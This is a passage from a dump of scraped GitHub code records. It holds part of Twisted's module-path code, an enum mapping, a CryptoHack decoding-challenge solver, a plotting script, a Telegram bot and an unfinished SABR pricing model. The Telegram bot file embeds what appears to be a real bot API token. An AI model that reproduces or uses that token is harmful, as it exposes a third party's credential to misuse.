return super(PythonModule, self).walkModules(importPackages=importPackages)\n\n def _subModuleName(self, mn):\n \"\"\"\n submodules of this module are prefixed with our name.\n \"\"\"\n return self.name + '.' + mn\n\n def _packagePaths(self):\n \"\"\"\n Yield a sequence of FilePath-like objects which represent path segments.\n \"\"\"\n if not self.isPackage():\n return\n if self.isLoaded():\n load = self.load()\n if hasattr(load, '__path__'):\n for fn in load.__path__:\n if fn == self.parentPath.path:\n # this should _really_ exist.\n assert self.parentPath.exists()\n yield self.parentPath\n else:\n smp = self.pathEntry.pythonPath._smartPath(fn)\n if smp.exists():\n yield smp\n else:\n yield self.parentPath\n\n\nclass PathEntry(_ModuleIteratorHelper):\n \"\"\"\n I am a proxy for a single entry on sys.path.\n\n @ivar filePath: a FilePath-like object pointing at the filesystem location\n or archive file where this path entry is stored.\n\n @ivar pythonPath: a PythonPath instance.\n \"\"\"\n def __init__(self, filePath, pythonPath):\n \"\"\"\n Create a PathEntry. This is a private constructor.\n \"\"\"\n self.filePath = filePath\n self.pythonPath = pythonPath\n\n def _getEntry(self):\n return self\n\n def __repr__(self):\n return 'PathEntry<%r>' % (self.filePath,)\n\n def _packagePaths(self):\n yield self.filePath\n\nclass IPathImportMapper(Interface):\n \"\"\"\n This is an internal interface, used to map importers to factories for\n FilePath-like objects.\n \"\"\"\n def mapPath(self, pathLikeString):\n \"\"\"\n Return a FilePath-like object.\n\n @param pathLikeString: a path-like string, like one that might be\n passed to an import hook.\n\n @return: a L{FilePath}, or something like it (currently only a\n L{ZipPath}, but more might be added later).\n \"\"\"\n\n\n\n@implementer(IPathImportMapper)\nclass _DefaultMapImpl:\n \"\"\" Wrapper for the default importer, i.e. None. \"\"\"\n def mapPath(self, fsPathString):\n return FilePath(fsPathString)\n_theDefaultMapper = _DefaultMapImpl()\n\n\n@implementer(IPathImportMapper)\nclass _ZipMapImpl:\n \"\"\" IPathImportMapper implementation for zipimport.ZipImporter. \"\"\"\n def __init__(self, importer):\n self.importer = importer\n\n def mapPath(self, fsPathString):\n \"\"\"\n Map the given FS path to a ZipPath, by looking at the ZipImporter's\n \"archive\" attribute and using it as our ZipArchive root, then walking\n down into the archive from there.\n\n @return: a L{zippath.ZipPath} or L{zippath.ZipArchive} instance.\n \"\"\"\n za = ZipArchive(self.importer.archive)\n myPath = FilePath(self.importer.archive)\n itsPath = FilePath(fsPathString)\n if myPath == itsPath:\n return za\n # This is NOT a general-purpose rule for sys.path or __file__:\n # zipimport specifically uses regular OS path syntax in its\n # pathnames, even though zip files specify that slashes are always\n # the separator, regardless of platform.\n segs = itsPath.segmentsFrom(myPath)\n zp = za\n for seg in segs:\n zp = zp.child(seg)\n return zp\n\nregisterAdapter(_ZipMapImpl, zipimport.zipimporter, IPathImportMapper)\n\n\n\ndef _defaultSysPathFactory():\n \"\"\"\n Provide the default behavior of PythonPath's sys.path factory, which is to\n return the current value of sys.path.\n\n @return: L{sys.path}\n \"\"\"\n return sys.path\n\n\nclass PythonPath:\n \"\"\"\n I represent the very top of the Python object-space, the module list in\n C{sys.path} and the modules list in C{sys.modules}.\n\n @ivar _sysPath: A sequence of strings like C{sys.path}. This attribute is\n read-only.\n\n @ivar sysPath: The current value of the module search path list.\n @type sysPath: C{list}\n\n @ivar moduleDict: A dictionary mapping string module names to module\n objects, like C{sys.modules}.\n\n @ivar sysPathHooks: A list of PEP-302 path hooks, like C{sys.path_hooks}.\n\n @ivar moduleLoader: A function that takes a fully-qualified python name and\n returns a module, like L{twisted.python.reflect.namedAny}.\n \"\"\"\n\n def __init__(self,\n sysPath=None,\n moduleDict=sys.modules,\n sysPathHooks=sys.path_hooks,\n importerCache=sys.path_importer_cache,\n moduleLoader=namedAny,\n sysPathFactory=None):\n \"\"\"\n Create a PythonPath. You almost certainly want to use\n modules.theSystemPath, or its aliased methods, rather than creating a\n new instance yourself, though.\n\n All parameters are optional, and if unspecified, will use 'system'\n equivalents that makes this PythonPath like the global L{theSystemPath}\n instance.\n\n @param sysPath: a sys.path-like list to use for this PythonPath, to\n specify where to load modules from.\n\n @param moduleDict: a sys.modules-like dictionary to use for keeping\n track of what modules this PythonPath has loaded.\n\n @param sysPathHooks: sys.path_hooks-like list of PEP-302 path hooks to\n be used for this PythonPath, to determie which importers should be\n used.\n\n @param importerCache: a sys.path_importer_cache-like list of PEP-302\n importers. This will be used in conjunction with the given\n sysPathHooks.\n\n @param moduleLoader: a module loader function which takes a string and\n returns a module. That is to say, it is like L{namedAny} - *not* like\n L{__import__}.\n\n @param sysPathFactory: a 0-argument callable which returns the current\n value of a sys.path-like list of strings. Specify either this, or\n sysPath, not both. This alternative interface is provided because the\n way the Python import mechanism works, you can re-bind the 'sys.path'\n name and that is what is used for current imports, so it must be a\n factory rather than a value to deal with modification by rebinding\n rather than modification by mutation. Note: it is not recommended to\n rebind sys.path. Although this mechanism can deal with that, it is a\n subtle point which some tools that it is easy for tools which interact\n with sys.path to miss.\n \"\"\"\n if sysPath is not None:\n sysPathFactory = lambda : sysPath\n elif sysPathFactory is None:\n sysPathFactory = _defaultSysPathFactory\n self._sysPathFactory = sysPathFactory\n self._sysPath = sysPath\n self.moduleDict = moduleDict\n self.sysPathHooks = sysPathHooks\n self.importerCache = importerCache\n self.moduleLoader = moduleLoader\n\n\n def _getSysPath(self):\n \"\"\"\n Retrieve the current value of the module search path list.\n \"\"\"\n return self._sysPathFactory()\n\n sysPath = property(_getSysPath)\n\n def _findEntryPathString(self, modobj):\n \"\"\"\n Determine where a given Python module object came from by looking at path\n entries.\n \"\"\"\n topPackageObj = modobj\n while '.' in topPackageObj.__name__:\n topPackageObj = self.moduleDict['.'.join(\n topPackageObj.__name__.split('.')[:-1])]\n if _isPackagePath(FilePath(topPackageObj.__file__)):\n # if package 'foo' is on sys.path at /a/b/foo, package 'foo's\n # __file__ will be /a/b/foo/__init__.py, and we are looking for\n # /a/b here, the path-entry; so go up two steps.\n rval = dirname(dirname(topPackageObj.__file__))\n else:\n # the module is completely top-level, not within any packages. The\n # path entry it's on is just its dirname.\n rval = dirname(topPackageObj.__file__)\n\n # There are probably some awful tricks that an importer could pull\n # which would break this, so let's just make sure... it's a loaded\n # module after all, which means that its path MUST be in\n # path_importer_cache according to PEP 302 -glyph\n if rval not in self.importerCache:\n warnings.warn(\n \"%s (for module %s) not in path importer cache \"\n \"(PEP 302 violation - check your local configuration).\" % (\n rval, modobj.__name__),\n stacklevel=3)\n\n return rval\n\n def _smartPath(self, pathName):\n \"\"\"\n Given a path entry from sys.path which may refer to an importer,\n return the appropriate FilePath-like instance.\n\n @param pathName: a str describing the path.\n\n @return: a FilePath-like object.\n \"\"\"\n importr = self.importerCache.get(pathName, _nothing)\n if importr is _nothing:\n for hook in self.sysPathHooks:\n try:\n importr = hook(pathName)\n except ImportError:\n pass\n if importr is _nothing: # still\n importr = None\n return IPathImportMapper(importr, _theDefaultMapper).mapPath(pathName)\n\n def iterEntries(self):\n \"\"\"\n Iterate the entries on my sysPath.\n\n @return: a generator yielding PathEntry objects\n \"\"\"\n for pathName in self.sysPath:\n fp = self._smartPath(pathName)\n yield PathEntry(fp, self)\n\n\n def __getitem__(self, modname):\n \"\"\"\n Get a python module by its given fully-qualified name.\n\n @param modname: The fully-qualified Python module name to load.\n\n @type modname: C{str}\n\n @return: an object representing the module identified by C{modname}\n\n @rtype: L{PythonModule}\n\n @raise KeyError: if the module name is not a valid module name, or no\n such module can be identified as loadable.\n \"\"\"\n # See if the module is already somewhere in Python-land.\n moduleObject = self.moduleDict.get(modname)\n if moduleObject is not None:\n # we need 2 paths; one of the path entry and one for the module.\n pe = PathEntry(\n self._smartPath(\n self._findEntryPathString(moduleObject)),\n self)\n mp = self._smartPath(moduleObject.__file__)\n return PythonModule(modname, mp, pe)\n\n # Recurse if we're trying to get a submodule.\n if '.' in modname:\n pkg = self\n for name in modname.split('.'):\n pkg = pkg[name]\n return pkg\n\n # Finally do the slowest possible thing and iterate\n for module in self.iterModules():\n if module.name == modname:\n return module\n raise KeyError(modname)\n\n\n def __contains__(self, module):\n \"\"\"\n Check to see whether or not a module exists on my import path.\n\n @param module: The name of the module to look for on my import path.\n @type module: C{str}\n \"\"\"\n try:\n self.__getitem__(module)\n return True\n except KeyError:\n return False\n\n\n def __repr__(self):\n \"\"\"\n Display my sysPath and moduleDict in a string representation.\n \"\"\"\n return \"PythonPath(%r,%r)\" % (self.sysPath, self.moduleDict)\n\n def iterModules(self):\n \"\"\"\n Yield all top-level modules on my sysPath.\n \"\"\"\n for entry in self.iterEntries():\n for module in entry.iterModules():\n yield module\n\n def walkModules(self, importPackages=False):\n \"\"\"\n Similar to L{iterModules}, this yields every module on the path, then every\n submodule in each package or entry.\n \"\"\"\n for package in self.iterModules():\n for module in package.walkModules(importPackages=False):\n yield module\n\ntheSystemPath = PythonPath()\n\ndef walkModules(importPackages=False):\n \"\"\"\n Deeply iterate all modules on the global python path.\n\n @param importPackages: Import packages as they are seen.\n \"\"\"\n return theSystemPath.walkModules(importPackages=importPackages)\n\ndef iterModules():\n \"\"\"\n Iterate all modules and top-level packages on the global Python path, but\n do not descend into packages.\n\n @param importPackages: Import packages as they are seen.\n \"\"\"\n return theSystemPath.iterModules()\n\ndef getModule(moduleName):\n \"\"\"\n Retrieve a module from the system path.\n \"\"\"\n return theSystemPath[moduleName]\n","repo_name":"wistbean/learn_python3_spider","sub_path":"stackoverflow/venv/lib/python3.6/site-packages/twisted/python/modules.py","file_name":"modules.py","file_ext":"py","file_size_in_byte":24879,"program_lang":"python","lang":"en","doc_type":"code","stars":14022,"dataset":"github-code","pt":"3"}
+{"seq_id":"29257651147","text":"from maps_adv.geosmb.scenarist.proto import scenarios_pb2\nfrom maps_adv.geosmb.scenarist.server.lib.enums import ScenarioName, SubscriptionStatus\n\nENUM_MAPS_TO_PB = {\n \"scenario_name\": {\n ScenarioName.DISCOUNT_FOR_LOST: scenarios_pb2.ScenarioName.DISCOUNT_FOR_LOST,\n ScenarioName.ENGAGE_PROSPECTIVE: scenarios_pb2.ScenarioName.ENGAGE_PROSPECTIVE,\n ScenarioName.THANK_THE_LOYAL: scenarios_pb2.ScenarioName.THANK_THE_LOYAL,\n ScenarioName.DISCOUNT_FOR_DISLOYAL: scenarios_pb2.ScenarioName.DISCOUNT_FOR_DISLOYAL, # noqa\n },\n \"subscription_status\": {\n SubscriptionStatus.ACTIVE: scenarios_pb2.SubscriptionStatus.ACTIVE,\n SubscriptionStatus.PAUSED: scenarios_pb2.SubscriptionStatus.PAUSED,\n SubscriptionStatus.COMPLETED: scenarios_pb2.SubscriptionStatus.COMPLETED,\n },\n}\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"maps/tests/utils (5).py","file_name":"utils (5).py","file_ext":"py","file_size_in_byte":827,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"70313989202","text":"#! /usr/bin/env python3\n\nimport telnetlib\nimport json\nimport base64\nimport codecs\n\nHOST = \"socket.cryptohack.org\"\nPORT = 13377\n\ntn = telnetlib.Telnet(HOST, PORT)\n\ndef readline():\n return tn.read_until(b\"\\n\")\n\ndef json_recv():\n line = readline()\n return json.loads(line.decode())\n\ndef json_send(hsh):\n request = json.dumps(hsh).encode()\n tn.write(request)\n\nclass Decoder():\n def __init__(self):\n self.level = 0\n self.challenge = []\n self.solution = []\n self.rot13 = lambda s : codecs.getencoder(\"rot-13\")(s)[0]\n \n def addChallenge(self, challenge):\n self.challenge.append(challenge)\n self.level += 1\n \n def getLatestChallenge(self) -> dict:\n return self.challenge[-1]\n\n # 1. utf8\n def utf8Decoder(self,encodedValue:list) -> str:\n decodedValue = \"\"\n for integer in encodedValue:\n decodedValue += chr(integer)\n return decodedValue\n\n # 2. hex\n def hexDecoder(self,encodedValue:str) -> str:\n return bytes.fromhex(encodedValue).decode(\"ASCII\")\n \n # 3. bigint\n def bigIntDecoder(self,encodedValue:str) -> str:\n return self.hexDecoder(encodedValue[2:])\n\n # 4. base64\n def base64Decoder(self, encodedValue:str) -> str:\n return base64.b64decode(encodedValue).decode(\"ASCII\")\n \n # 5. rot13\n def rot13Decoder(self,encodedValue:str) -> str:\n return self.rot13(encodedValue)\n\n def decode(self):\n # get the last challenge added\n lastChallenge = self.getLatestChallenge()\n\n # extracte type and encoded data\n encodingType = lastChallenge['type']\n encodedValue = lastChallenge[\"encoded\"]\n decodedValue = \"\"\n\n # match the type and use corresponding decoder\n if encodingType == \"utf-8\": # 1\n decodedValue = self.utf8Decoder(encodedValue)\n elif encodingType == \"hex\": # 2\n decodedValue = self.hexDecoder(encodedValue)\n elif encodingType == \"bigint\": # 3\n decodedValue = self.bigIntDecoder(encodedValue)\n elif encodingType == \"base64\": # 4\n decodedValue = self.base64Decoder(encodedValue)\n elif encodingType == \"rot13\": # 5\n decodedValue = self.rot13Decoder(encodedValue)\n else:\n print(\"Encoding Type Un-recognized : \",encodingType)\n return -1\n \n # append informations to solution\n self.solution.append({\"level\":self.level, \"type\":encodingType,\"encoded\":encodedValue,\"decoded\":decodedValue})\n return decodedValue\n \n # helper function to create json request\n def jsonValue(self,decodedValue:str) -> dict:\n return {\"decoded\":decodedValue}\n\n\ndef main():\n decoder = Decoder()\n\n # clear 100 levels to get flag in 101th request\n for i in range(101):\n received = json_recv()\n\n # if request is badly formated, we get error in response\n if type(received.get(\"error\")).__name__ != 'NoneType':\n if received[\"error\"] == \"Invalid JSON\":\n print(\"Wrong data sent at level : \", i+1)\n break\n \n # after 100 level, the flag is received\n if i+1 == 101:\n print(\"*** Congratulations ***\")\n print(\"The flag is : \",received[\"flag\"])\n f = open(\"./5. Encoding Challenge Solution.txt\", \"a\")\n\n f.write(\"************************ Challenge Starts ************************\\n\\n\")\n\n for solution in decoder.solution:\n f.write(json.dumps(solution))\n f.write(\"\\n\")\n\n toWriteFlag = \"\\n\\nThe flag is : \" + received[\"flag\"]\n f.write(toWriteFlag)\n\n f.write(\"\\n\\n####################### Challenge Ends #######################\\n\\n\\n\\n\\n\")\n f.close()\n\n break\n \n # add new challenge to the decoder\n decoder.addChallenge(received)\n\n # run the decoder to get decoded value\n decoded = decoder.decode()\n \n # if decoding is successfull send the decoded value as json\n if(decoded != -1):\n print(\"Cleared level \",i+1,\"\\t\",decoded)\n json_send(decoder.jsonValue(decoded))\n else:\n # if decoding fails at any point simply print out the solution till that point and stop\n print(\"Successfully solved : \",decoder.solution)\n break\n\nif __name__ == \"__main__\":\n main()","repo_name":"Amitmahato/CryptoHack","sub_path":"3. General/1. Encoding/5. Encoding Challenge.py","file_name":"5. Encoding Challenge.py","file_ext":"py","file_size_in_byte":4030,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"26631385311","text":"import matplotlib.pyplot as plt\n\ninput_file_name = input().split(\".\")[0]\nglobal_sum = int(input())\narray_size = int(input())\nMAX_FUNCTIONS = int(input())\nMAX_THREADS = int(input())\n\ncolors = ['b', 'g', 'r', 'c', 'm', 'y', 'k']\n\nplt.figure(1)\nplt.figure(2)\nplt.figure(3)\n\nfor function_no in range(MAX_FUNCTIONS):\n function_name = input()\n avg_running_time = []\n max_running_time = []\n min_running_time = []\n for thread_no in range(MAX_THREADS):\n avg_running_time.append(float(input()))\n for thread_no in range(MAX_THREADS):\n max_running_time.append(float(input()))\n for thread_no in range(MAX_THREADS):\n min_running_time.append(float(input()))\n plt.figure(1)\n plt.plot(range(1, MAX_THREADS + 1), avg_running_time, colors[function_no], label=function_name)\n plt.figure(2)\n plt.plot(range(1, MAX_THREADS + 1), max_running_time, colors[function_no], label=function_name)\n plt.figure(3)\n plt.plot(range(1, MAX_THREADS + 1), min_running_time, colors[function_no], label=function_name)\n\nplt.figure(1)\nplt.title(input_file_name + \" (array size = \" + str(array_size) + \")\" )\nplt.xlabel(\"No of threads\")\nplt.ylabel(\"Average Running time (seconds)\")\nplt.legend()\nplt.savefig(input_file_name + \"_avg.png\")\n\nplt.figure(2)\nplt.title(input_file_name + \" (array size = \" + str(array_size) + \")\" )\nplt.xlabel(\"No of threads\")\nplt.ylabel(\"Maximum Running time (seconds)\")\nplt.legend()\nplt.savefig(input_file_name + \"_max.png\")\n\nplt.figure(3)\nplt.title(input_file_name + \" (array size = \" + str(array_size) + \")\" )\nplt.xlabel(\"No of threads\")\nplt.ylabel(\"Minimum Running time (seconds)\")\nplt.legend()\nplt.savefig(input_file_name + \"_min.png\")\n\nplt.show()","repo_name":"himanshu520/ParallelProgramming","sub_path":"Assignment-2/array_sum/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":1698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"18199688001","text":"# Телеграм-бот v.002 - бот создаёт меню, присылает собачку, и анекдот\r\nimport telebot\r\n# pyTelegramBotAPI\t4.3.1\r\nfrom telebot import types\r\nimport game # бот-игры, файл game.py\r\nimport menuBot\r\nfrom menuBot import Menu # в этом модуле есть код, создающий экземпляры классов описывающих моё меню\r\nimport requests # Требуется для \"Прислать собаку\"\r\nimport bs4 # требуется для get_anekdot()\r\n\r\nbot = telebot.TeleBot('5255331774:AAHCU3lY_SjoYPOepjMFpcLdfqK7Zz-Rk6o') # Создаем экземпляр ботф\r\n\r\n# -----------------------------------------------------------------------\r\n\r\n@bot.message_handler(content_types=['sticker'])\r\ndef get_messages(message):\r\n chat_id = message.chat.id\r\n bot.send_message(chat_id, \"Это \" + message.content_type)\r\n\r\n sticker = message.sticker\r\n bot.send_message(message.chat.id, sticker)\r\n\r\n# -----------------------------------------------------------------------\r\n\r\n@bot.message_handler(content_types=['voice'])\r\ndef get_messages(message):\r\n chat_id = message.chat.id\r\n bot.send_message(chat_id, \"Это \" + message.content_type)\r\n\r\n voice = message.voice\r\n # bot.send_message(message.chat.id, voice)\r\n\r\n import speech\r\n fileInfo = bot.get_file(voice.file_id)\r\n audioData = bot.download_file(fileInfo.file_path)\r\n bot.send_message(chat_id, speech.getTextFromVoice(audioData))\r\n\r\n# -----------------------------------------------------------------------\r\n\r\n@bot.message_handler(commands=[\"start\"])\r\ndef start(message, res=False):\r\n chat_id = message.chat.id\r\n\r\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True)\r\n btn1 = types.KeyboardButton(\"👋 Главное меню\")\r\n btn2 = types.KeyboardButton(\"❓ Помощь\")\r\n markup.add(btn1, btn2)\r\n\r\n bot.send_message(chat_id,\r\n text=\"Привет, {0.first_name}! Я тестовый бот для курса программирования на языке ПаЙтон\".format(\r\n message.from_user), reply_markup=markup)\r\n\r\n\r\n# -----------------------------------------------------------------------\r\n# Получение сообщений от юзера\r\n@bot.message_handler(content_types=['text'])\r\ndef get_text_messages(message):\r\n chat_id = message.chat.id\r\n ms_text = message.text\r\n\r\n if ms_text == \"Главное меню\" or ms_text == \"👋 Главное меню\" or ms_text == \"Вернуться в главное меню\": # ..........\r\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True)\r\n btn1 = types.KeyboardButton(\"Развлечения\")\r\n btn2 = types.KeyboardButton(\"WEB-камера\")\r\n btn3 = types.KeyboardButton(\"Управление\")\r\n back = types.KeyboardButton(\"Помощь\")\r\n markup.add(btn1, btn2, btn3, back)\r\n bot.send_message(chat_id, text=\"Вы в главном меню\", reply_markup=markup)\r\n\r\n elif ms_text == \"Развлечения\": # ..................................................................................\r\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True)\r\n btn1 = types.KeyboardButton(\"Прислать собаку\")\r\n btn2 = types.KeyboardButton(\"Прислать анекдот\")\r\n btn4 = types.KeyboardButton(\"Имена\")\r\n back = types.KeyboardButton(\"Вернуться в главное меню\")\r\n markup.add(btn1, btn2, btn4, back)\r\n bot.send_message(chat_id, text=\"Развлечения\", reply_markup=markup)\r\n\r\n\r\n\r\n elif ms_text == \"/dog\" or ms_text == \"Прислать собаку\": # .........................................................\r\n contents = requests.get('https://random.dog/woof.json').json()\r\n urlDOG = contents['url']\r\n bot.send_photo(chat_id, photo=urlDOG, caption=\"Вот тебе собачка!\")\r\n\r\n elif ms_text == \"Прислать анекдот\": # .............................................................................\r\n bot.send_message(chat_id, text=get_anekdot())\r\n\r\n elif ms_text == \"Имена\":\r\n bot.send_message(chat_id, text=get_name())\r\n\r\n elif ms_text == \"WEB-камера\":\r\n bot.send_message(chat_id, text=\"еще не готово...\")\r\n\r\n elif ms_text == \"Управление\": # ...................................................................................\r\n bot.send_message(chat_id, text=\"еще не готово...\")\r\n\r\n elif ms_text == \"Помощь\" or ms_text == \"/help\": # .................................................................\r\n bot.send_message(chat_id, \"Автор: Кривонос Маргарита\")\r\n key1 = types.InlineKeyboardMarkup()\r\n btn1 = types.InlineKeyboardButton(text=\"Напишите автору\", url=\"https://t.me/user59387\")\r\n key1.add(btn1)\r\n with open('Z:/1-МД-17/Кривонос/Piton04/test.jpg', 'rb') as img:\r\n bot.send_photo(message.chat.id, img, reply_markup=key1)\r\n\r\n else: # ...........................................................................................................\r\n bot.send_message(chat_id, text=\"Я тебя слышу!!! Ваше сообщение: \" + ms_text)\r\n\r\n# -----------------------------------------------------------------------\r\ndef get_anekdot():\r\n array_anekdots = []\r\n z = ''\r\n s = requests.get('https://nekdo.ru/random/')\r\n soup = bs4.BeautifulSoup(s.text, \"html.parser\")\r\n result_find = soup.select('.text')\r\n for result in result_find:\r\n array_anekdots.append(result.getText().strip())\r\n return array_anekdots[0]\r\n#--------------------------\r\ndef get_name():\r\n array_name = []\r\n n = requests.get('https://777name.com/imya/')\r\n soup = bs4.BeautifulSoup(n.text, \"html.parser\")\r\n find_name = soup.select('.gen_ru')\r\n for result in find_name:\r\n array_name.append(result.getText().strip())\r\n if len(array_name) > 0:\r\n return array_name[0]\r\n\r\n\r\n# -----------------------------------------------------------------------\r\nbot.polling(none_stop=True, interval=0) # Запускаем бота\r\n\r\nprint()\r\n# --------------------------\r\n","repo_name":"17Gosha/piton1205","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6374,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"42739524954","text":"\"\"\"\nSABR Model Implementation\n\nThis module implements the SABR model for pricing options on various underlying assets. \nThe SABR model is a stochastic volatility model that was introduced by Hagan et al. \nin their 2002 paper \"Managing Smile Risk\".\n\nReferences:\n [1] Willems, S. (2020). SABR smiles for RFR caplets.\n [2] Hagan, P. S., Kumar, D., Lesniewski, A. S., & Woodward, D. E. (2002). Managing smile risk.\n [3] Taipe, M. (2022). Tuning the FMM-SABR for RFR caplets.\n\"\"\"\n\nimport time\nfrom datetime import date\nimport numpy as np\nfrom scipy.stats import norm\nfrom scipy.optimize import bisect, differential_evolution, dual_annealing\nfrom discount_curve import Curve\nfrom tools import eff_rho_bounds, error_function, callback_function\nfrom cap_floor import Caplet, MarketCaplet\n\n\nclass SabrModel:\n \"\"\"\n A class that implements the SABR model for pricing caplets on overnight index averages.\n Notation is taken from [1].\n \"\"\"\n\n # DOCSTRING\n # TODO Write __str__\n\n def __init__(\n self,\n alpha: list,\n beta: float,\n rho: list,\n volvol: list,\n exp: float,\n caplet: Caplet,\n discount_curve: Curve,\n ):\n self.sabr = {\"alpha\": alpha, \"beta\": beta, \"rho\": rho, \"volvol\": volvol}\n self.exp = exp\n self.caplet = caplet\n self.discount_curve = discount_curve\n\n # Check for valid input values\n if not np.isclose(self.sabr[\"beta\"], 0) and np.isclose(self.caplet.strike, 0):\n raise ValueError(\"We only allow zero strike if beta=0\")\n if not np.isclose(self.sabr[\"beta\"], 0) and (\n self.caplet.init_fwd <= 0 or self.caplet.strike < 0\n ):\n raise ValueError(\"We only allow negative rates if beta=0\")\n self.__no_black_model_support = (\n self.caplet.init_fwd <= 0 or self.caplet.strike <= 0\n )\n\n if self.__no_black_model_support:\n print(\"WARNING: Black model not supported\")\n\n self.sabr_eff = {\n \"alpha\": alpha.copy(),\n \"beta\": beta,\n \"rho\": rho.copy(),\n \"volvol\": volvol.copy(),\n }\n self.eff_parameters()\n\n def _chi(self, zeta: float, rho: float) -> float:\n \"\"\"\n Determines the value of the χ(ζ) function as described in equation (2.17c) [1].\n\n Args\n zeta (float): The input value ζ.\n\n Returns\n float: The value of χ(ζ).\n \"\"\"\n return np.log(\n (np.sqrt(1 - 2 * rho * zeta + zeta**2) + zeta - rho) / (1 - rho)\n )\n\n def _rel_time(self, exp: float) -> float:\n \"\"\"\n Determines the relative time ((end_date - start_date)/(start_date))^exp as in [1].\n\n Args\n exp (float): The input value exp.\n\n Returns\n float: The value of ((start_date - end_date)/(start_date))^exp.\n \"\"\"\n return ((self.caplet.end() - self.caplet.start()) / self.caplet.end()) ** exp\n\n def _tau(self):\n \"\"\" \"\"\"\n # DOCSTRING\n return 2 * self.exp * self.caplet.start() + self.caplet.end()\n\n def _zeta(self, rho):\n \"\"\"\n Determines the value of zeta as in Theorem 4.1 [1].\n \"\"\"\n return (1 / (4 * self.exp + 3)) * (\n 1 / (2 * self.exp + 1)\n + (2 * self.exp * rho**2) / ((3 * self.exp + 2) ** 2)\n )\n\n def _delta_sqr(self):\n \"\"\"\n Function that determines Δ^2 in Appendix B [3].\n \"\"\"\n # DOCSTRING\n delta_0 = (\n self.sabr[\"alpha\"][0] ** 2 * self.caplet.start()\n - (self.sabr[\"alpha\"][1] ** 2 * (self.caplet.start() - self.caplet.end()))\n / (2 * self.exp + 1)\n ) / self.caplet.end()\n delta_1 = ((self.sabr[\"alpha\"][1] ** 2) * self._rel_time(-2 * self.exp)) / (\n 2 * self.exp + 1\n )\n return delta_0, delta_1\n\n def _b(self):\n \"\"\"\n Function that determines b in Appendix B [3].\n \"\"\"\n # DOCSTRING\n # TODO Also calculate b_1\n delta_0 = self._delta_sqr()[0]\n\n b_0_1 = (\n self.sabr[\"alpha\"][0]\n * self.sabr[\"volvol\"][0]\n * self.sabr[\"rho\"][0]\n * self.caplet.start()\n * (\n self.sabr[\"alpha\"][0] ** 2 * self.caplet.start() * (2 * self.exp + 1)\n + 2\n * self.sabr[\"alpha\"][1] ** 2\n * (self.caplet.end() - self.caplet.start())\n )\n ) / (2 * (2 * self.exp + 1))\n b_0_2 = (\n self.sabr[\"alpha\"][1] ** 3\n * self.sabr[\"volvol\"][1]\n * self.sabr[\"rho\"][1]\n * (self.caplet.end() - self.caplet.start()) ** 2\n ) / ((2 * self.exp + 1) * (3 * self.exp + 2))\n\n b_0 = (2 * (b_0_1 + b_0_2)) / (delta_0**2 * self.caplet.end() ** 2)\n\n b_1 = (\n (self.sabr[\"volvol\"][1] * self.sabr[\"rho\"][1] * (4 * self.exp + 2))\n / (self.sabr[\"alpha\"][1] * (3 * self.exp + 2))\n ) * self._rel_time(self.exp)\n return b_0, b_1\n\n def _gamma(self, rho):\n \"\"\"\n Determines the value of gamma as in Theorem 4.2 in [1]\n \"\"\"\n gamma_1_num = (\n 2 * self._tau() ** 3\n + self.caplet.end() ** 3\n + (4 * self.exp**2 - 2 * self.exp) * self.caplet.start() ** 3\n + 6 * self.exp * self.caplet.start() ** 2 * self.caplet.end()\n )\n gamma_1 = (self._tau() * gamma_1_num) / (\n (4 * self.exp + 3) * (2 * self.exp + 1)\n )\n\n gamma_2_num = (\n 3 * self._tau() ** 2\n - self.caplet.end() ** 2\n + 5 * self.exp * self.caplet.start() ** 2\n + 4 * self.caplet.start() * self.caplet.end()\n )\n gamma_2 = gamma_2_num / ((4 * self.exp + 3) * (3 * self.exp + 2) ** 2)\n\n return (\n gamma_1\n + 3\n * self.exp\n * rho**2\n * (self.caplet.end() - self.caplet.start()) ** 2\n * gamma_2\n )\n\n def _H(self):\n \"\"\"\n Determines the value of H as in Theorem 4.2 [1]\n \"\"\"\n fraction = (\n self._tau() ** 2\n + 2 * self.exp * self.caplet.start() ** 2\n + self.caplet.end() ** 2\n ) / (2 * self.caplet.end() * self._tau() * (self.exp + 1))\n return self.sabr[\"volvol\"] * fraction - self.sabr_eff[\"volvol\"] ** 2\n\n def _lambda(self):\n \"\"\"\n Determines lambda as in Appendix B [3]\n \"\"\"\n return self.sabr[\"alpha\"][0] ** 2 * (\n self.caplet.start() + 2 * self.exp * self.caplet.start()\n ) + self.sabr[\"alpha\"][1] ** 2 * (self.caplet.end() - self.caplet.start())\n\n def _c(self):\n b_0, b_1 = self._b()\n\n tau_1 = self.sabr[\"alpha\"][0] ** 2 * self.caplet.start() + (\n self.sabr[\"alpha\"][1] ** 2 * (self.caplet.end() - self.caplet.start())\n ) / (2 * self.exp + 1)\n\n # Compute Integral 1\n int_1_1 = (\n self.sabr[\"volvol\"][0] ** 2\n * self.sabr[\"alpha\"][0] ** 4\n * self.caplet.start() ** 3\n ) / 3\n int_1_2 = (\n self.sabr[\"volvol\"][0] ** 2\n * self.sabr[\"alpha\"][0] ** 2\n * self.sabr[\"alpha\"][1] ** 2\n * (self.caplet.end() - self.caplet.start())\n * self.caplet.start() ** 2\n ) / (2 * self.exp + 1)\n int_1_3 = (\n self.sabr[\"volvol\"][0] ** 2\n * self.sabr[\"alpha\"][1] ** 4\n * (self.caplet.end() - self.caplet.start()) ** 2\n * self.caplet.start()\n ) / ((2 * self.exp + 1) ** 2)\n int_1_4 = (\n self.sabr[\"volvol\"][1] ** 2\n * self.sabr[\"alpha\"][1] ** 4\n * (self.caplet.end() - self.caplet.start()) ** 3\n ) / ((2 * self.exp + 1) ** 2 * (4 * self.exp + 3))\n int_1 = int_1_1 + int_1_2 + int_1_3 + int_1_4\n\n # Compute Integral 2\n int_2_1 = (\n self.sabr[\"rho\"][0] ** 2\n * self.sabr[\"volvol\"][0] ** 2\n * self.sabr[\"alpha\"][0] ** 4\n * self.caplet.start() ** 3\n ) / 